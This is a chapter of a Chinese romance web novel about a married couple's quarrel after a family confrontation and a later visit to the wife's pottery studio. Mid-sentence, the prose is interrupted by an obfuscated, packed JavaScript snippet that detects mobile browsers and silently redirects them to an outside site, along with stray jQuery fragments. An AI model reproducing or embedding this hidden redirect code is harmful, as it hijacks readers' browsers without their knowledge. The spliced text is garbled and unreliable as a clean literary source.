68. 第 68 章
作品:《未晚【先婚后爱】》 一路无话,车厢内气氛安静地过了头,只有偶尔一两辆车子从旁边飞速驶过时传来的短促鸣笛声响起。
叶蜚声看着霓虹光影从车窗玻璃上一闪而逝,有种怅然若失的情绪。
是否该高兴,宿时信第一次站在她的身边,保护着她,将那些朝她投掷过来的刀枪剑戟从旁阻挡开来。
这是她从未奢想过的一幕,可就在刚刚,她还没有开口,他就已经将支持和信任全盘的给予了她。
她透过车窗玻璃看他,却只看见宿时信一直望向窗外的倒影,留给她一道凌厉又优越的侧脸,那侧影冷硬,如一把开过刃的锋利匕首。
胸口里的肌肉不自禁地鼓噪,她这时才意识到宿时信从一开始听到了什么。
可他还是在那样的前提条件下,选择站在了她的身边,毫无保留地维护着她。
叶蜚声眼眶微热,一瞬间有种想要落泪的冲动。
车子一路开到宿家别墅楼下,驾驶座上的司机解开安全带,准备下车帮他们打开车门,宿时信却淡声说:“你先回去。”
那声音里,有种不怒自威的寒意,又有点寂寥的冷清。
司机愣住一瞬,很快反应过来,朝他们躬身说了再见,先行离开。
车里少了一个人,叶蜚声感受到了一种比刚刚更加窒息的氛围。
他们的距离很近,不过十多公分,却又显得那么遥远。
像有一道塑料薄膜缠裹在他们周围,隔绝了氧气,像是真空即将到来。
叶蜚声呼吸放缓,唯恐将仅剩不多的氧气快速消耗完。
漫长又短暂的沉默过后,一道声音率先戳破薄膜,真空环境被打破,氧气涌入,却依然难捱。
“不解释一下吗?”宿时信的嗓音冷然,平静无波的表面下是极力克制的躁意。
叶蜚声偏头看他,她的整张脸上看不见任何表情波动,但轻握的双拳里,是紧按在手心里的深深的指甲印。
半晌后,她低声说:“谢谢。”
谢谢你愿意维护我,谢谢你愿意站在我身边,谢谢你今晚保护了我,让我不会独自面对这一切……
虽然我并不害怕,也不会感觉到孤独。
但当你出现,没有像从前那样,站在我的对立面,以高高在上或者是居高临下的姿态来看待我,或者是轻视我,我由衷地感激。
宿时信因这两个字眉头微皱,眼神锋利又清醒,将眼前这张脸仔细描摹过去,似乎是第一次将叶蜚声这个人真正看清楚,
而后,神色稍缓和,近乎是揶揄般,说笑道,“我以为你会先对我说声抱歉。”
叶蜚声眼神涩然,胸口处涌过一阵一阵的寒颤,迟滞地说道:“对不起。”
然而,这三个字说出口,宿时信还不能让这场对话结束,他问道:“你知道这句对不起是因为什么吗?你在说出这三个字时,是假意敷衍还是真觉得对我抱歉。”
叶蜚声脸色煞白,指甲刺进手心的痛楚近乎麻木。
宿时信叹了口气,眸色变得很深,心底忽然觉得有些失望。这失望,有对她的,也有对自己的。
这样的神情,从来不会在宿时信脸上出现。
以至于,他显露如此落寞的面目时,叶蜚声忽然失去所有的抵抗心理。
她强作一副不在意的表情,将所有的歉意一一从火烧般的喉口吐露出来。
“我很抱歉,将你无故卷入到这场纠纷里。说到底,这是我的事情,将你牵扯进来,对不起。”她真心实意的叙述着,却没有发现,宿时信的表情变得越来越难看。
“关于还账的事情,我会自己承担,你不必因为我也连带着跟叶家、叶曲棠划清界限,或者是在生意上做出什么退让。”
他跟叶仕国说用新项目抵消的话,她还记得。
不管怎么说,他没有必要做到这个份上。
宿时信唇角微动,却一个音节都发不出来,他脸上不可置信的表情越来越深重。
然后,他勾起唇角,那笑容有几分讥讽。
从头到尾,他都不在乎她是否要和叶家脱离关系,也不在乎她对叶仕国和卢美君说的那些话,甚至不会因为这些事去责怪她丝毫。
他在意的一直都是叶蜚声亲口说要离婚的事情,以及叶蜚声从未对他打开过心扉。
当在门口听到她说出那句话时,他头一次从心底升起了荒诞恐慌的情绪。因为叶蜚声当时的语气,是那么笃定,让他没法不联想到,叶蜚声有一天真从他生命中离开的可能。
当推开门后,当他亲眼见证她与叶家断绝关系,他劝告自己,那不过是她冲动之下的发言。
人在情绪激动时,总会说些过激的,言不由衷的话。
他可以原谅。
而且,在他的感情观念里,既然已经认定叶蜚声是他的妻子,那么该有的信任他自当会给予。
但车子从叶家一路开到这里,她却始终没有开口解释的意思。
直到现在,等她全然的冷静下来后,她也不觉得那句话有多伤人,甚至还打算将他越推越远。
好像,宿时信真的在叶蜚声心里,成了一个可有可无的人,成了一个可以被她随时丢弃的人。
如果真是这样,那他们之间说过的爱又算什么。
想到这里,宿时信忽然冷了心,敛了神色,打断她的歉意。
“叶蜚声。”
他从来没有连名带姓的叫她,这一刻,却叫了出来。
一霎那间的冷漠与疏离,让叶蜚声的脸色唇色跟着泛白,她嘴唇微张,却发不出声音,只能呆呆地仰头看他。
“在你的心里,到底有没有我的位置?”宿时信以一种压迫性的姿态直接问了出来,他的眼神带着强势。
思维慢了半拍,叶蜚声的神经好像突然间出了差错,只在瞳孔里闪现细微的波动,其余什么反应也做不出来。
宿时信看着这样的叶蜚声,忽然感到深重的无力,他牵动起唇角,却不见丝毫笑意。
他索性完全坦白,讲出自己最在意的点,“我不在乎你对叶家的态度,也不在乎你把我牵扯进来,”
他顿了下,“或者说,我乐意被你牵扯进来,我们不是结婚了吗?这样的事情,本来就该两个人一起面对不是吗?”
叶蜚声的呼吸一瞬间急促,她有想过他因为爱她,所以今晚做出维护她的举动。
却没有想过他比她所要预想的还要坚决笃定。
看着她惊愕的脸,宿时信一时不知道是该生气还是无奈。
最后,他如释重负地笑了下,但那抹笑容,却是越看越苦涩,“难道你心里不是这样想的?”
“你可以那么坚定的说,和我离婚,你求之不得。”
说出这句话的时候,他的语气骤然放轻,仿佛这几个字是淬了毒的箭,稍微一重,就会刺入他的心脏。
他的眼底,透出一抹药石难医的神伤,“在你心里,我真的是可有可无的。”
他说出的这句,并不是疑问句,而是肯定句。
“……不是。”叶蜚声几乎是断然地否认道,但在触及到他眼底的受伤后,便再也无法说下去。
“我不是你心里的第一顺位。”这是他最耿耿于怀的事情。
“咔”的轻响,宿时信推开车门,夜晚的凉意顺着他推开的窄缝里泄露进来。
叶蜚声的身体不自禁的一抖。
宿时信下车,车门合上,凉意被阻隔在外。
但先前散进来的晚风,早已让她遍体生寒。
“我没有这样想过。”
一句轻飘的话语回荡在车厢里,却无人听见。
——
那一晚过后,一切都和从前看起来没有什么不同。
但叶蜚声知道,还是有一些地方,发生了改变。
“啪”的一声,在叶蜚声转身的瞬间,放在桌上的陶瓷碎裂,碎片散落一地。
叶蜚声回头看去,那地上的碎片刺伤了她的眼睛,她却不再像从前那样,对这些碎片黯然神伤。
因为她神伤之处,已然落在他处,给了另外一个人。
整整一周,宿时信没有回家。
司机每天都会送她上下班,但叶蜚声再也没有见到宿时信的身影。
她有试着等待至深夜,最晚到了凌晨三五点,但一次都没有看见他。很显然,宿时信决定夜不归宿。
本该是两个人的卧室,转眼间又变成她一个人的空间。
叶蜚声苦恼地想,他们这样算是吵架了吗?或者是冷战?
今天早上,宿爷爷还在问,怎么一连几天都见不到宿时信的人影。
叶蜚声也不知道该怎么解释,最后只含糊带过,说他最近在忙工作。
老爷子嘴上说着理解,但那双虽然浑浊却依然锐利的眼睛却直往叶蜚声身上看去。
很显然,对方完全没有信服这个理由。
叶蜚声将碎掉的瓷片装进垃圾袋,又往垃圾袋外面贴了一张黄色的警示便利贴,上面写着“小心碎片”。
幸好摔碎的陶瓷不是要邮寄给客户的,只是一件瑕疵产品。
叶蜚声将一旁已经给客户做好的陶瓷清洗过后,装进箱子里,又给快递员打了个电话,拜托他上门来取。
等待快递员上门来取的时间里,叶蜚声将之后的订单信息又重新整理了一遍,按照作品难易程度,以及客户要求制作完成的日期做好接下来的工作安排。
等工作日程表刚刚做完,门铃就被按响,叶蜚声以为是快递员到了,开了门,却是宿之苦和另外一个陌生的女孩。
宿之苦穿着一套咖色的休闲西装,那女孩也穿着一身同色系连衣裙,两人这样的着装明显是情侣装。
女孩身形高挑,面容明艳,虽然只是简单装扮,但自身流露出来的那股倨傲感不容忽视。
不说话的时候,带着两分旁人不敢与其对视的挑剔锐利感,但开了口,又是一副平易近人的姿态。
“你是蜚声吧。”对方先开了口,嘴角带笑,大方温婉。
叶蜚声的询问眼神看向宿之苦,见他轻点了下头,便朝她伸出右手,笑道:“刘文珊,你好。”
刘文珊将挽着宿之苦的手臂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756057|152667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放下,和她握过手后,又将手里的一束鲜花送给她,“第一次见面,也不知道送你什么好,之苦说你喜欢花,你看看喜欢吗?”
叶蜚声接过花束,一大捧的黄刺玫像是将阳光直接拥在怀里,低头闻了闻,浓郁的玫瑰香钻入鼻腔。
她穿着一身便于工作的短袖上衣和牛仔裤,最外面还戴着黑色围裙,因为干活,上面各处都沾染了泥巴痕迹,看起来有些邋遢。但因为她长相清丽的缘故,抱着鲜花低头嗅闻的一刹那,竟有种“荆钗布裙不掩天香国色”之感。
刘文珊一时看得心悸。
叶蜚声从花束间抬起头,笑着和她说:“很喜欢,谢谢,有心了。”
她邀请两人进屋,等他们坐下后,又给他们倒了两杯水。
宿之苦说:“本来我们约好的是下午四点,但文珊听说你在这附近有工作室,就想提前过来参观一下。”
刘文珊喝了口水,笑着说:“希望没有打扰到你。”
叶蜚声从一堆陶器中随手取了只咖啡色的罐子,将那一捧黄刺玫放了进去,而后将罐子放到正中央的空地上,阳光从室外照进来,刚好投注在那捧花束上,看起来热烈又耀眼。
她回头,笑着说:“没有打扰,上午的工作我差不多已经做完了。”
刘文珊起身,将工作室各处打量了一遍,起初不以为然,但越看越觉得这里妙不可言。
原木风格的工作室,巨大的落地玻璃窗在外面绕了一圈,将整个院子一分为二。
工作间初看凌乱,但又透露出浓厚的艺术气息,院子里有两三盆绿植,晴朗天日下,毫无保留地接受阳光的洗礼。
“这是你自己设计的吗?”刘文珊兴致勃勃问道,“不愧是艺术家,每一处都好有吸引力,我觉得就算不是为了买陶瓷,单是坐在这里休息,也好惬意。”
叶蜚声顿了顿,轻声否认:“不是,是专业的设计师过来修整的。”
刘文珊:“是吗?那这个设计师好厉害。”
她感叹道:“我待会都不想去吃饭了,就想一直赖在这里,再也不走了!”
刘文珊性格大方,说话健谈,叶蜚声即使性子有些沉闷,也被她带动着多说了两句。
在院子里转了一圈后,刘文珊又注意到了工作间展架上摆放的瓷器,步行过去,指着一只湛蓝釉色的茶盏,问道:“我可以拿起来看一下吗?”
“当然可以。”叶蜚声说道。
宿之苦一直陪在她们身边,因为早就看过这些瓷器,所以眼下也没有太大反应。倒是刘文珊因为是第一次来,随便看见一个瓷器,都要询问叶蜚声具体是什么。
叶蜚声这里很少有外人到访,即使是有人来,看到这些陶器的第一反应也不过是觉得颜色漂亮,或者是颇具实用性,刘文珊是第一个对瓷器的烧制方法,以及各种釉料来历感到好奇的。
叶蜚声难得的当了一回解说员,像她详细解释这些作品是用什么烧制完成的,偶有思维发散,也会连带着对她介绍市博物馆里最近展出的陶瓷。
中途,门铃又被按响,这次是真正的快递员到了。
叶蜚声一时走不开,便让宿之苦按照电脑里保存的客户信息,将装进箱子里的瓷器给客户邮寄出去。
宿之苦走到一旁的办公桌前,将电脑打开,在电脑桌面上找到记录客户信息的表格,点击打开后,问道:“声声,是哪个客户?”
叶蜚声扬声道:“客户姓名叫刘凌,手机尾号是8976。”
宿之苦很快找到,和她说了声,便将那个地址报给快递员,只是当念到手机号码时,有一瞬间的怔忡。
他边给快递员报电话,边将这串号码输入到手机里,通讯录里自动匹配好联系人名片,赫然是淮安集团下属分公司的一个经理。
快递员将客户信息拿到手后,便带着那只打包好的皮箱离开。
宿之苦合上电脑前又看了眼其他订单信息,仅凭借良好的记忆力,瞬间想起了好几个熟悉的名字和电话号码。
都是和晟远生意上有过往来的,其他集团的公司高管和经理。
他走回到叶蜚声身边,不经意地问道:“声声,客户订单好多,他们都是从哪里找过来的?”
叶蜚声手里拿着一个豆绿色的骨碟,正要给刘文珊介绍,听到他问,便说:“我有问过客户,他们有说是从网上找来的,也有的说是朋友介绍的。”
宿之苦轻声笑了笑,眉梢微挑,“这样啊。”
刘文珊好奇问道:“网上找的,蜚声,你的工作室在网上有号吗?我关注一下。”
叶蜚声将工作室在小红书上的账号高速给了她,等到刘文珊关注好之后,又继续讲解。
两个女孩交谈甚欢,一时也没有注意宿之苦反常的沉默。
参观完毕,三人去餐厅前,叶蜚声送给了刘文珊一眼中意的白釉瓷杯。
“阿之有一只同款杯子。”叶蜚声递给她时,揶揄笑道。
刘文珊看了眼宿之苦,后者朝她投以温和的一笑。
刘文珊难得地露出羞赧之色,“蜚声,谢谢你。”